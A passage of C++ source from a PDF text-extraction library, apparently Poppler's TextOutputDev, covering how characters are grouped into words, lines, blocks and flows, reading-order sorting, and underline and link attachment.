word0->base - maxIntraLineDelta * fontSize; maxBase = word0->base + maxIntraLineDelta * fontSize; minBaseIdx = pool->getBaseIdx(minBase); maxBaseIdx = pool->getBaseIdx(maxBase); wordSpacing = fixedPitch ? fixedPitch : maxWordSpacing * fontSize; // find the rest of the words in this line while (1) { // find the left-most word whose baseline is in the range for // this line bestWordBaseIdx = 0; bestWord0 = bestWord1 = NULL; overlap = gFalse; for (baseIdx = minBaseIdx; !overlap && baseIdx <= maxBaseIdx; ++baseIdx) { for (word0 = NULL, word1 = pool->getPool(baseIdx); word1; word0 = word1, word1 = word1->next) { if (word1->base >= minBase && word1->base <= maxBase) { delta = lastWord->primaryDelta(word1); if (delta < minCharSpacing * fontSize) { overlap = gTrue; break; } else { if (delta < wordSpacing && (!bestWord1 || word1->primaryCmp(bestWord1) < 0)) { bestWordBaseIdx = baseIdx; bestWord0 = word0; bestWord1 = word1; } break; } } } } if (overlap || !bestWord1) { break; } // remove it from the pool, and add it to the line if (bestWord0) { bestWord0->next = bestWord1->next; } else { pool->setPool(bestWordBaseIdx, bestWord1->next); } bestWord1->next = NULL; line->addWord(bestWord1); lastWord = bestWord1; } // add the line if (curLine && line->cmpYX(curLine) > 0) { line0 = curLine; line1 = curLine->next; } else { line0 = NULL; line1 = lines; } for (; line1 && line->cmpYX(line1) > 0; line0 = line1, line1 = line1->next) ; if (line0) { line0->next = line; } else { lines = line; } line->next = line1; curLine = line; line->coalesce(uMap); charCount += line->len; ++nLines; } // sort lines into xy order for column assignment lineArray = (TextLine **)gmallocn(nLines, sizeof(TextLine *)); for (line = lines, i = 0; line; line = line->next, ++i) { lineArray[i] = line; } qsort(lineArray, nLines, sizeof(TextLine *), &TextLine::cmpXY); // column assignment nColumns = 0; if (fixedPitch) { for (i = 0; i < nLines; ++i) { line0 = lineArray[i]; col1 = 0; // make gcc happy switch (rot) { case 0: col1 = (int)((line0->xMin - xMin) / fixedPitch + 0.5); break; case 1: col1 = (int)((line0->yMin - yMin) / fixedPitch + 0.5); break; case 2: col1 = (int)((xMax - line0->xMax) / fixedPitch + 0.5); break; case 3: col1 = (int)((yMax - line0->yMax) / fixedPitch + 0.5); break; } for (k = 0; k <= line0->len; ++k) { line0->col[k] += col1; } if (line0->col[line0->len] > nColumns) { nColumns = line0->col[line0->len]; } } } else { for (i = 0; i < nLines; ++i) { line0 = lineArray[i]; col1 = 0; for (j = 0; j < i; ++j) { line1 = lineArray[j]; if (line1->primaryDelta(line0) >= 0) { col2 = line1->col[line1->len] + 1; } else { k = 0; // make gcc happy switch (rot) { case 0: for (k = 0; k < line1->len && line0->xMin >= 0.5 * (line1->edge[k] + line1->edge[k+1]); ++k) ; break; case 1: for (k = 0; k < line1->len && line0->yMin >= 0.5 * (line1->edge[k] + line1->edge[k+1]); ++k) ; break; case 2: for (k = 0; k < line1->len && line0->xMax <= 0.5 * (line1->edge[k] + line1->edge[k+1]); ++k) ; break; case 3: for (k = 0; k < line1->len && line0->yMax <= 0.5 * (line1->edge[k] + line1->edge[k+1]); ++k) ; break; } col2 = line1->col[k]; } if (col2 > col1) { col1 = col2; } } for (k = 0; k <= line0->len; ++k) { line0->col[k] += col1; } if (line0->col[line0->len] > nColumns) { nColumns = line0->col[line0->len]; } } } gfree(lineArray); } void TextBlock::updatePriMinMax(TextBlock *blk) { double newPriMin, newPriMax; GBool gotPriMin, gotPriMax; gotPriMin = gotPriMax = gFalse; newPriMin = newPriMax = 0; // make gcc happy switch (page->primaryRot) { case 0: case 2: if (blk->yMin < yMax && blk->yMax > yMin) { if (blk->xMin < xMin) { newPriMin = blk->xMax; gotPriMin = gTrue; } if (blk->xMax > xMax) { newPriMax = blk->xMin; gotPriMax = gTrue; } } break; case 1: case 3: if (blk->xMin < xMax && blk->xMax > xMin) { if (blk->yMin < yMin) { newPriMin = blk->yMax; gotPriMin = gTrue; } if (blk->yMax > yMax) { newPriMax = blk->yMin; gotPriMax = gTrue; } } break; } if (gotPriMin) { if (newPriMin > xMin) { newPriMin = xMin; } if (newPriMin > priMin) { priMin = newPriMin; } } if (gotPriMax) { if (newPriMax < xMax) { newPriMax = xMax; } if (newPriMax < priMax) { priMax = newPriMax; } } } int TextBlock::cmpXYPrimaryRot(const void *p1, const void *p2) { TextBlock *blk1 = *(TextBlock **)p1; TextBlock *blk2 = *(TextBlock **)p2; double cmp; cmp = 0; // make gcc happy switch (blk1->page->primaryRot) { case 0: if ((cmp = blk1->xMin - blk2->xMin) == 0) { cmp = blk1->yMin - blk2->yMin; } break; case 1: if ((cmp = blk1->yMin - blk2->yMin) == 0) { cmp = blk2->xMax - blk1->xMax; } break; case 2: if ((cmp = blk2->xMax - blk1->xMax) == 0) { cmp = blk2->yMin - blk1->yMin; } break; case 3: if ((cmp = blk2->yMax - blk1->yMax) == 0) { cmp = blk1->xMax - blk2->xMax; } break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextBlock::cmpYXPrimaryRot(const void *p1, const void *p2) { TextBlock *blk1 = *(TextBlock **)p1; TextBlock *blk2 = *(TextBlock **)p2; double cmp; cmp = 0; // make gcc happy switch (blk1->page->primaryRot) { case 0: if ((cmp = blk1->yMin - blk2->yMin) == 0) { cmp = blk1->xMin - blk2->xMin; } break; case 1: if ((cmp = blk2->xMax - blk1->xMax) == 0) { cmp = blk1->yMin - blk2->yMin; } break; case 2: if ((cmp = blk2->yMin - blk1->yMin) == 0) { cmp = blk2->xMax - blk1->xMax; } break; case 3: if ((cmp = blk1->xMax - blk2->xMax) == 0) { cmp = blk2->yMax - blk1->yMax; } break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextBlock::primaryCmp(TextBlock *blk) { double cmp; cmp = 0; // make gcc happy switch (rot) { case 0: cmp = xMin - blk->xMin; break; case 1: cmp = yMin - blk->yMin; break; case 2: cmp = blk->xMax - xMax; break; case 3: cmp = blk->yMax - yMax; break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } double TextBlock::secondaryDelta(TextBlock *blk) { double delta; delta = 0; // make gcc happy switch (rot) { case 0: delta = blk->yMin - yMax; break; case 1: delta = xMin - blk->xMax; break; case 2: delta = yMin - blk->yMax; break; case 3: delta = blk->xMin - xMax; break; } return delta; } GBool TextBlock::isBelow(TextBlock *blk) { GBool below; below = gFalse; // make gcc happy switch (page->primaryRot) { case 0: below = xMin >= blk->priMin && xMax <= blk->priMax && yMin > blk->yMin; break; case 1: below = yMin >= blk->priMin && yMax <= blk->priMax && xMax < blk->xMax; break; case 2: below = xMin >= blk->priMin && xMax <= blk->priMax && yMax < blk->yMax; break; case 3: below = yMin >= blk->priMin && yMax <= blk->priMax && xMin > blk->xMin; break; } return below; } GBool TextBlock::isBeforeByRule1(TextBlock *blk1) { GBool before = gFalse; GBool overlap = gFalse; switch (this->page->primaryRot) { case 0: case 2: overlap = ((this->ExMin <= blk1->ExMin) && (blk1->ExMin <= this->ExMax)) || ((blk1->ExMin <= this->ExMin) && (this->ExMin <= blk1->ExMax)); break; case 1: case 3: overlap = ((this->EyMin <= blk1->EyMin) && (blk1->EyMin <= this->EyMax)) || ((blk1->EyMin <= this->EyMin) && (this->EyMin <= blk1->EyMax)); break; } switch (this->page->primaryRot) { case 0: before = overlap && this->EyMin < blk1->EyMin; break; case 1: before = overlap && this->ExMax > blk1->ExMax; break; case 2: before = overlap && this->EyMax > blk1->EyMax; break; case 3: before = overlap && this->ExMin < blk1->ExMin; break; } return before; } GBool TextBlock::isBeforeByRule2(TextBlock *blk1) { double cmp = 0; int rotLR = rot; if (!page->primaryLR) { rotLR = (rotLR + 2) % 4; } switch (rotLR) { case 0: cmp = ExMax - blk1->ExMin; break; case 1: cmp = EyMin - blk1->EyMax; break; case 2: cmp = blk1->ExMax - ExMin; break; case 3: cmp = blk1->EyMin - EyMax; break; } return cmp <= 0; } // Sort into reading order by performing a topological sort using the rules // given in "High Performance Document Layout Analysis", T.M. Breuel, 2003. // See http://pubs.iupr.org/#2003-breuel-sdiut // Topological sort is done by depth first search, see // http://en.wikipedia.org/wiki/Topological_sorting int TextBlock::visitDepthFirst(TextBlock *blkList, int pos1, TextBlock **sorted, int sortPos, GBool* visited) { int pos2; TextBlock *blk1, *blk2, *blk3; GBool before; if (visited[pos1]) { return sortPos; } blk1 = this; #if 0 // for debugging printf("visited: %d %.2f..%.2f %.2f..%.2f\n", sortPos, blk1->ExMin, blk1->ExMax, blk1->EyMin, blk1->EyMax); #endif visited[pos1] = gTrue; pos2 = -1; for (blk2 = blkList; blk2; blk2 = blk2->next) { pos2++; if (visited[pos2]) { // skip visited nodes continue; } before = gFalse; // is blk2 before blk1? (for table entries) if (blk1->tableId >= 0 && blk1->tableId == blk2->tableId) { if (page->primaryLR) { if (blk2->xMax <= blk1->xMin && blk2->yMin <= blk1->yMax && blk2->yMax >= blk1->yMin) before = gTrue; } else { if (blk2->xMin >= blk1->xMax && blk2->yMin <= blk1->yMax && blk2->yMax >= blk1->yMin) before = gTrue; } if (blk2->yMax <= blk1->yMin) before = gTrue; } else { if (blk2->isBeforeByRule1(blk1)) { // Rule (1) blk1 and blk2 overlap, and blk2 is above blk1. before = gTrue; #if 0 // for debugging printf("rule1: %.2f..%.2f %.2f..%.2f %.2f..%.2f %.2f..%.2f\n", blk2->ExMin, blk2->ExMax, blk2->EyMin, blk2->EyMax, blk1->ExMin, blk1->ExMax, blk1->EyMin, blk1->EyMax); #endif } else if (blk2->isBeforeByRule2(blk1)) { // Rule (2) blk2 left of blk1, and no intervening blk3 // such that blk1 is before blk3 by rule 1, // and blk3 is before blk2 by rule 1. before = gTrue; for (blk3 = blkList; blk3; blk3 = blk3->next) { if (blk3 == blk2 || blk3 == blk1) { continue; } if (blk1->isBeforeByRule1(blk3) && blk3->isBeforeByRule1(blk2)) { before = gFalse; break; } } #if 0 // for debugging if (before) { printf("rule2: %.2f..%.2f %.2f..%.2f %.2f..%.2f %.2f..%.2f\n", blk1->ExMin, blk1->ExMax, blk1->EyMin, blk1->EyMax, blk2->ExMin, blk2->ExMax, blk2->EyMin, blk2->EyMax); } #endif } } if (before) { // blk2 is before blk1, so it needs to be visited // before we can add blk1 to the sorted list. sortPos = blk2->visitDepthFirst(blkList, pos2, sorted, sortPos, visited); } } #if 0 // for debugging printf("sorted: %d %.2f..%.2f %.2f..%.2f\n", sortPos, blk1->ExMin, blk1->ExMax, blk1->EyMin, blk1->EyMax); #endif sorted[sortPos++] = blk1; return sortPos; } //------------------------------------------------------------------------ // TextFlow //------------------------------------------------------------------------ TextFlow::TextFlow(TextPage *pageA, TextBlock *blk) { page = pageA; xMin = blk->xMin; xMax = blk->xMax; yMin = blk->yMin; yMax = blk->yMax; priMin = blk->priMin; priMax = blk->priMax; blocks = lastBlk = blk; next = NULL; } TextFlow::~TextFlow() { TextBlock *blk; while (blocks) { blk = blocks; blocks = blocks->next; delete blk; } } void TextFlow::addBlock(TextBlock *blk) { if (lastBlk) { lastBlk->next = blk; } else { blocks = blk; } lastBlk = blk; if (blk->xMin < xMin) { xMin = blk->xMin; } if (blk->xMax > xMax) { xMax = blk->xMax; } if (blk->yMin < yMin) { yMin = blk->yMin; } if (blk->yMax > yMax) { yMax = blk->yMax; } } GBool TextFlow::blockFits(TextBlock *blk, TextBlock *prevBlk) { GBool fits; // lower blocks must use smaller fonts if (blk->lines->words->fontSize > lastBlk->lines->words->fontSize) { return gFalse; } fits = gFalse; // make gcc happy switch (page->primaryRot) { case 0: fits = blk->xMin >= priMin && blk->xMax <= priMax; break; case 1: fits = blk->yMin >= priMin && blk->yMax <= priMax; break; case 2: fits = blk->xMin >= priMin && blk->xMax <= priMax; break; case 3: fits = blk->yMin >= priMin && blk->yMax <= priMax; break; } return fits; } #if TEXTOUT_WORD_LIST //------------------------------------------------------------------------ // TextWordList //------------------------------------------------------------------------ TextWordList::TextWordList(TextPage *text, GBool physLayout) { TextFlow *flow; TextBlock *blk; TextLine *line; TextWord *word; TextWord **wordArray; int nWords, i; words = new GooList(); if (text->rawOrder) { for (word = text->rawWords; word; word = word->next) { words->append(word); } } else if (physLayout) { // this is inefficient, but it's also the least useful of these // three cases nWords = 0; for (flow = text->flows; flow; flow = flow->next) { for (blk = flow->blocks; blk; blk = blk->next) { for (line = blk->lines; line; line = line->next) { for (word = line->words; word; word = word->next) { ++nWords; } } } } wordArray = (TextWord **)gmallocn(nWords, sizeof(TextWord *)); i = 0; for (flow = text->flows; flow; flow = flow->next) { for (blk = flow->blocks; blk; blk = blk->next) { for (line = blk->lines; line; line = line->next) { for (word = line->words; word; word = word->next) { wordArray[i++] = word; } } } } qsort(wordArray, nWords, sizeof(TextWord *), &TextWord::cmpYX); for (i = 0; i < nWords; ++i) { words->append(wordArray[i]); } gfree(wordArray); } else { for (flow = text->flows; flow; flow = flow->next) { for (blk = flow->blocks; blk; blk = blk->next) { for (line = blk->lines; line; line = line->next) { for (word = line->words; word; word = word->next) { words->append(word); } } } } } } TextWordList::~TextWordList() { delete words; } int TextWordList::getLength() { return words->getLength(); } TextWord *TextWordList::get(int idx) { if (idx < 0 || idx >= words->getLength()) { return NULL; } return (TextWord *)words->get(idx); } #endif // TEXTOUT_WORD_LIST //------------------------------------------------------------------------ // TextPage //------------------------------------------------------------------------ TextPage::TextPage(GBool rawOrderA) { int rot; refCnt = 1; rawOrder = rawOrderA; curWord = NULL; charPos = 0; curFont = NULL; curFontSize = 0; nest = 0; nTinyChars = 0; lastCharOverlap = gFalse; if (!rawOrder) { for (rot = 0; rot < 4; ++rot) { pools[rot] = new TextPool(); } } flows = NULL; blocks = NULL; rawWords = NULL; rawLastWord = NULL; fonts = new GooList(); lastFindXMin = lastFindYMin = 0; haveLastFind = gFalse; underlines = new GooList(); links = new GooList(); mergeCombining = gTrue; } TextPage::~TextPage() { int rot; clear(); if (!rawOrder) { for (rot = 0; rot < 4; ++rot) { delete pools[rot]; } } delete fonts; deleteGooList(underlines, TextUnderline); deleteGooList(links, TextLink); } void TextPage::incRefCnt() { refCnt++; } void TextPage::decRefCnt() { if (--refCnt == 0) delete this; } void TextPage::startPage(GfxState *state) { clear(); if (state) { pageWidth = state->getPageWidth(); pageHeight = state->getPageHeight(); } else { pageWidth = pageHeight = 0; } } void TextPage::endPage() { if (curWord) { endWord(); } } void TextPage::clear() { int rot; TextFlow *flow; TextWord *word; if (curWord) { delete curWord; curWord = NULL; } if (rawOrder) { while (rawWords) { word = rawWords; rawWords = rawWords->next; delete word; } } else { for (rot = 0; rot < 4; ++rot) { delete pools[rot]; } while (flows) { flow = flows; flows = flows->next; delete flow; } gfree(blocks); } deleteGooList(fonts, TextFontInfo); deleteGooList(underlines, TextUnderline); deleteGooList(links, TextLink); curWord = NULL; charPos = 0; curFont = NULL; curFontSize = 0; nest = 0; nTinyChars = 0; if (!rawOrder) { for (rot = 0; rot < 4; ++rot) { pools[rot] = new TextPool(); } } flows = NULL; blocks = NULL; rawWords = NULL; rawLastWord = NULL; fonts = new GooList(); underlines = new GooList(); links = new GooList(); } void TextPage::updateFont(GfxState *state) { GfxFont *gfxFont; double *fm; char *name; int code, mCode, letterCode, anyCode; double w; int i; // get the font info object curFont = NULL; for (i = 0; i < fonts->getLength(); ++i) { curFont = (TextFontInfo *)fonts->get(i); if (curFont->matches(state)) { break; } curFont = NULL; } if (!curFont) { curFont = new TextFontInfo(state); fonts->append(curFont); } // adjust the font size gfxFont = state->getFont(); curFontSize = state->getTransformedFontSize(); if (gfxFont && gfxFont->getType() == fontType3) { // This is a hack which makes it possible to deal with some Type 3 // fonts. The problem is that it's impossible to know what the // base coordinate system used in the font is without actually // rendering the font. This code tries to guess by looking at the // width of the character 'm' (which breaks if the font is a // subset that doesn't contain 'm'). mCode = letterCode = anyCode = -1; for (code = 0; code < 256; ++code) { name = ((Gfx8BitFont *)gfxFont)->getCharName(code); int nameLen = name ? strlen(name) : 0; GBool nameOneChar = nameLen == 1 || (nameLen > 1 && name[1] == '\0'); if (nameOneChar && name[0] == 'm') { mCode = code; } if (letterCode < 0 && nameOneChar && ((name[0] >= 'A' && name[0] <= 'Z') || (name[0] >= 'a' && name[0] <= 'z'))) { letterCode = code; } if (anyCode < 0 && name && ((Gfx8BitFont *)gfxFont)->getWidth(code) > 0) { anyCode = code; } } if (mCode >= 0 && (w = ((Gfx8BitFont *)gfxFont)->getWidth(mCode)) > 0) { // 0.6 is a generic average 'm' width -- yes, this is a hack curFontSize *= w / 0.6; } else if (letterCode >= 0 && (w = ((Gfx8BitFont *)gfxFont)->getWidth(letterCode)) > 0) { // even more of a hack: 0.5 is a generic letter width curFontSize *= w / 0.5; } else if (anyCode >= 0 && (w = ((Gfx8BitFont *)gfxFont)->getWidth(anyCode)) > 0) { // better than nothing: 0.5 is a generic character width curFontSize *= w / 0.5; } fm = gfxFont->getFontMatrix(); if (fm[0] != 0) { curFontSize *= fabs(fm[3] / fm[0]); } } } void TextPage::beginWord(GfxState *state) { GfxFont *gfxFont; double *fontm; double m[4], m2[4]; int rot; // This check is needed because Type 3 characters can contain // text-drawing operations (when TextPage is being used via // {X,Win}SplashOutputDev rather than TextOutputDev). if (curWord) { ++nest; return; } // compute the rotation state->getFontTransMat(&m[0], &m[1], &m[2], &m[3]); gfxFont = state->getFont(); if (gfxFont && gfxFont->getType() == fontType3) { fontm = state->getFont()->getFontMatrix(); m2[0] = fontm[0] * m[0] + fontm[1] * m[2]; m2[1] = fontm[0] * m[1] + fontm[1] * m[3]; m2[2] = fontm[2] * m[0] + fontm[3] * m[2]; m2[3] = fontm[2] * m[1] + fontm[3] * m[3]; m[0] = m2[0]; m[1] = m2[1]; m[2] = m2[2]; m[3] = m2[3]; } if (fabs(m[0] * m[3]) > fabs(m[1] * m[2])) { rot = (m[0] > 0 || m[3] < 0) ? 0 : 2; } else { rot = (m[2] > 0) ? 1 : 3; } // for vertical writing mode, the lines are effectively rotated 90 // degrees if (gfxFont && gfxFont->getWMode()) { rot = (rot + 1) & 3; } curWord = new TextWord(state, rot, curFontSize); } void TextPage::addChar(GfxState *state, double x, double y, double dx, double dy, CharCode c, int nBytes, Unicode *u, int uLen) { double x1, y1, w1, h1, dx2, dy2, base, sp, delta; GBool overlap; int i; int wMode; Matrix mat; // subtract char and word spacing from the dx,dy values sp = state->getCharSpace(); if (c == (CharCode)0x20) { sp += state->getWordSpace(); } state->textTransformDelta(sp * state->getHorizScaling(), 0, &dx2, &dy2); dx -= dx2; dy -= dy2; state->transformDelta(dx, dy, &w1, &h1); // throw away chars that aren't inside the page bounds // (and also do a sanity check on the character size) state->transform(x, y, &x1, &y1); if (x1 + w1 < 0 || x1 > pageWidth || y1 + h1 < 0 || y1 > pageHeight || x1 != x1 || y1 != y1 || // IEEE way of checking for isnan w1 != w1 || h1 != h1) { charPos += nBytes; return; } // check the tiny chars limit if (!globalParams->getTextKeepTinyChars() && fabs(w1) < 3 && fabs(h1) < 3) { if (++nTinyChars > 50000) { charPos += nBytes; return; } } // break words at space character if (uLen == 1 && u[0] == (Unicode)0x20) { charPos += nBytes; endWord(); return; } state->getFontTransMat(&mat.m[0], &mat.m[1], &mat.m[2], &mat.m[3]); mat.m[4] = x1; mat.m[5] = y1; if (mergeCombining && curWord && uLen == 1 && curWord->addCombining(state, curFont, curFontSize, x1, y1, w1, h1, charPos, nBytes, c, u[0], mat)) { charPos += nBytes; return; } // start a new word if: // (1) this character doesn't fall in the right place relative to // the end of the previous word (this places upper and lower // constraints on the position deltas along both the primary // and secondary axes), or // (2) this character overlaps the previous one (duplicated text), or // (3) the previous character was an overlap (we want each duplicated // character to be in a word by itself at this stage), // (4) the font size has changed // (5) the WMode changed if (curWord && curWord->len > 0) { base = sp = delta = 0; // make gcc happy switch (curWord->rot) { case 0: base = y1; sp = x1 - curWord->xMax; delta = x1 - curWord->edge[curWord->len - 1]; break; case 1: base = x1; sp = y1 - curWord->yMax; delta = y1 - curWord->edge[curWord->len - 1]; break; case 2: base = y1; sp = curWord->xMin - x1; delta = curWord->edge[curWord->len - 1] - x1; break; case 3: base = x1; sp = curWord->yMin - y1; delta = curWord->edge[curWord->len - 1] - y1; break; } overlap = fabs(delta) < dupMaxPriDelta * curWord->fontSize && fabs(base - curWord->base) < dupMaxSecDelta * curWord->fontSize; wMode = curFont->getWMode(); if (overlap || lastCharOverlap || sp < -minDupBreakOverlap * curWord->fontSize || sp > minWordBreakSpace * curWord->fontSize || fabs(base - curWord->base) > 0.5 || curFontSize != curWord->fontSize || wMode != curWord->wMode) { endWord(); } lastCharOverlap = overlap; } else { lastCharOverlap = gFalse; } if (uLen != 0) { // start a new word if needed if (!curWord) { beginWord(state); } // page rotation and/or transform matrices can cause text to be // drawn in reverse order -- in this case, swap the begin/end // coordinates and break text into individual chars if ((curWord->rot == 0 && w1 < 0) || (curWord->rot == 1 && h1 < 0) || (curWord->rot == 2 && w1 > 0) || (curWord->rot == 3 && h1 > 0)) { endWord(); beginWord(state); x1 += w1; y1 += h1; w1 = -w1; h1 = -h1; } // add the characters to the current word w1 /= uLen; h1 /= uLen; for (i = 0; i < uLen; ++i) { curWord->addChar(state, curFont, x1 + i*w1, y1 + i*h1, w1, h1, charPos, nBytes, c, u[i], mat); } } charPos += nBytes; } void TextPage::incCharCount(int nChars) { charPos += nChars; } void TextPage::endWord() { // This check is needed because Type 3 characters can contain // text-drawing operations (when TextPage is being used via // {X,Win}SplashOutputDev rather than TextOutputDev). if (nest > 0) { --nest; return; } if (curWord) { addWord(curWord); curWord = NULL; } } void TextPage::addWord(TextWord *word) { // throw away zero-length words -- they don't have valid xMin/xMax // values, and they're useless anyway if (word->len == 0) { delete word; return; } if (rawOrder) { if (rawLastWord) { rawLastWord->next = word; } else { rawWords = word; } rawLastWord = word; } else { pools[word->rot]->addWord(word); } } void TextPage::addUnderline(double x0, double y0, double x1, double y1) { underlines->append(new TextUnderline(x0, y0, x1, y1)); } void TextPage::addLink(int xMin, int yMin, int xMax, int yMax, AnnotLink *link) { links->append(new TextLink(xMin, yMin, xMax, yMax, link)); } void TextPage::coalesce(GBool physLayout, double fixedPitch, GBool doHTML) { UnicodeMap *uMap; TextPool *pool; TextWord *word0, *word1, *word2; TextLine *line; TextBlock *blkList, *blk, *lastBlk, *blk0, *blk1, *blk2; TextFlow *flow, *lastFlow; TextUnderline *underline; TextLink *link; int rot, poolMinBaseIdx, baseIdx, startBaseIdx, endBaseIdx; double minBase, maxBase, newMinBase, newMaxBase; double fontSize, colSpace1, colSpace2, lineSpace, intraLineSpace, blkSpace; GBool found; int count[4]; int lrCount; int col1, col2; int i, j, n; if (rawOrder) { primaryRot = 0; primaryLR = gTrue; return; } uMap = globalParams->getTextEncoding(); blkList = NULL; lastBlk = NULL; nBlocks = 0; primaryRot = 0; #if 0 // for debugging printf("*** initial words ***\n"); for (rot = 0; rot < 4; ++rot) { pool = pools[rot]; for (baseIdx = pool->minBaseIdx; baseIdx <= pool->maxBaseIdx; ++baseIdx) { for (word0 = pool->getPool(baseIdx); word0; word0 = word0->next) { printf(" word: x=%.2f..%.2f y=%.2f..%.2f base=%.2f fontSize=%.2f rot=%d link=%p '", word0->xMin, word0->xMax, word0->yMin, word0->yMax, word0->base, word0->fontSize, rot*90, word0->link); for (i = 0; i < word0->len; ++i) { fputc(word0->text[i] & 0xff, stdout); } printf("'\n"); } } } printf("\n"); #endif #if 0 //~ for debugging for (i = 0; i < underlines->getLength(); ++i) { underline = (TextUnderline *)underlines->get(i); printf("underline: x=%g..%g y=%g..%g horiz=%d\n", underline->x0, underline->x1, underline->y0, underline->y1, underline->horiz); } #endif if (doHTML) { //----- handle underlining for (i = 0; i < underlines->getLength(); ++i) { underline = (TextUnderline *)underlines->get(i); if (underline->horiz) { // rot = 0 if (pools[0]->minBaseIdx <= pools[0]->maxBaseIdx) { startBaseIdx = pools[0]->getBaseIdx(underline->y0 + minUnderlineGap); endBaseIdx = pools[0]->getBaseIdx(underline->y0 + maxUnderlineGap); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[0]->getPool(j); word0; word0 = word0->next) { //~ need to check the y value against the word baseline if (underline->x0 < word0->xMin + underlineSlack && word0->xMax - underlineSlack < underline->x1) { word0->underlined = gTrue; } } } } // rot = 2 if (pools[2]->minBaseIdx <= pools[2]->maxBaseIdx) { startBaseIdx = pools[2]->getBaseIdx(underline->y0 - maxUnderlineGap); endBaseIdx = pools[2]->getBaseIdx(underline->y0 - minUnderlineGap); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[2]->getPool(j); word0; word0 = word0->next) { if (underline->x0 < word0->xMin + underlineSlack && word0->xMax - underlineSlack < underline->x1) { word0->underlined = gTrue; } } } } } else { // rot = 1 if (pools[1]->minBaseIdx <= pools[1]->maxBaseIdx) { startBaseIdx = pools[1]->getBaseIdx(underline->x0 - maxUnderlineGap); endBaseIdx = pools[1]->getBaseIdx(underline->x0 - minUnderlineGap); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[1]->getPool(j); word0; word0 = word0->next) { if (underline->y0 < word0->yMin + underlineSlack && word0->yMax - underlineSlack < underline->y1) { word0->underlined = gTrue; } } } } // rot = 3 if (pools[3]->minBaseIdx <= pools[3]->maxBaseIdx) { startBaseIdx = pools[3]->getBaseIdx(underline->x0 + minUnderlineGap); endBaseIdx = pools[3]->getBaseIdx(underline->x0 + maxUnderlineGap); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[3]->getPool(j); word0; word0 = word0->next) { if (underline->y0 < word0->yMin + underlineSlack && word0->yMax - underlineSlack < underline->y1) { word0->underlined = gTrue; } } } } } } //----- handle links for (i = 0; i < links->getLength(); ++i) { link = (TextLink *)links->get(i); // rot = 0 if (pools[0]->minBaseIdx <= pools[0]->maxBaseIdx) { startBaseIdx = pools[0]->getBaseIdx(link->yMin); endBaseIdx = pools[0]->getBaseIdx(link->yMax); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[0]->getPool(j); word0; word0 = word0->next) { if (link->xMin < word0->xMin + hyperlinkSlack && word0->xMax - hyperlinkSlack < link->xMax && link->yMin < word0->yMin + hyperlinkSlack && word0->yMax - hyperlinkSlack < link->yMax) { word0->link = link->link; } } } } // rot = 2 if (pools[2]->minBaseIdx <= pools[2]->maxBaseIdx) { startBaseIdx = pools[2]->getBaseIdx(link->yMin); endBaseIdx = pools[2]->getBaseIdx(link->yMax); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[2]->getPool(j); word0; word0 = word0->next) { if (link->xMin < word0->xMin + hyperlinkSlack && word0->xMax - hyperlinkSlack < link->xMax && link->yMin < word0->yMin + hyperlinkSlack && word0->yMax - hyperlinkSlack < link->yMax) { word0->link = link->link; } } } } // rot = 1 if (pools[1]->minBaseIdx <= pools[1]->maxBaseIdx) { startBaseIdx = pools[1]->getBaseIdx(link->xMin); endBaseIdx = pools[1]->getBaseIdx(link->xMax); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[1]->getPool(j); word0; word0 = word0->next) { if (link->yMin < word0->yMin + hyperlinkSlack && word0->yMax - hyperlinkSlack < link->yMax && link->xMin < word0->xMin + hyperlinkSlack && word0->xMax - hyperlinkSlack < link->xMax) { word0->link = link->link; } } } } // rot = 3 if (pools[3]->minBaseIdx <= pools[3]->maxBaseIdx) { startBaseIdx = pools[3]->getBaseIdx(link->xMin); endBaseIdx = pools[3]->getBaseIdx(link->xMax); for (j = startBaseIdx; j <= endBaseIdx; ++j) { for (word0 = pools[3]->getPool(j); word0; word0 = word0->next) { if (link->yMin < word0->yMin + hyperlinkSlack && word0->yMax - hyperlinkSlack < link->yMax && link->xMin < word0->xMin + hyperlinkSlack && word0->xMax - hyperlinkSlack < link->xMax) { word0->link = link->link; } } } } } } //----- assemble the blocks //~ add an outer loop for writing mode (vertical text) // build blocks for each rotation value for (rot = 0; rot < 4; ++rot) { pool = pools[rot]; poolMinBaseIdx = pool->minBaseIdx; count[rot] = 0; // add blocks until no more words are left while (1) { // find the first non-empty line in the pool for (; poolMinBaseIdx <= pool->maxBaseIdx && !pool->getPool(poolMinBaseIdx); ++poolMinBaseIdx) ; if (poolMinBaseIdx > pool->maxBaseIdx) { break; } // look for the left-most word in the first four lines of the // pool -- this avoids starting with a superscript word startBaseIdx = poolMinBaseIdx; for (baseIdx = poolMinBaseIdx + 1; baseIdx < poolMinBaseIdx + 4 && baseIdx <= pool->maxBaseIdx; ++baseIdx) { if (!pool->getPool(baseIdx)) { continue; } if (pool->getPool(baseIdx)->primaryCmp(pool->getPool(startBaseIdx)) < 0) { startBaseIdx = baseIdx; } } // create a new block word0 = pool->getPool(startBaseIdx); pool->setPool(startBaseIdx, word0->next); word0->next = NULL; blk = new TextBlock(this, rot); blk->addWord(word0); fontSize = word0->fontSize; minBase = maxBase = word0->base; colSpace1 = minColSpacing1 * fontSize; colSpace2 = minColSpacing2 * fontSize; lineSpace = maxLineSpacingDelta * fontSize; intraLineSpace = maxIntraLineDelta * fontSize; // add words to the block do { found = gFalse; // look for words on the line above the current top edge of // the block newMinBase = minBase; for (baseIdx = pool->getBaseIdx(minBase); baseIdx >= pool->getBaseIdx(minBase - lineSpace); --baseIdx) { word0 = NULL; word1 = pool->getPool(baseIdx); while (word1) { if (word1->base < minBase && word1->base >= minBase - lineSpace && ((rot == 0 || rot == 2) ? (word1->xMin < blk->xMax && word1->xMax > blk->xMin) : (word1->yMin < blk->yMax && word1->yMax > blk->yMin)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta1 * fontSize) { word2 = word1; if (word0) { word0->next = word1->next; } else { pool->setPool(baseIdx, word1->next); } word1 = word1->next; word2->next = NULL; blk->addWord(word2); found = gTrue; newMinBase = word2->base; } else { 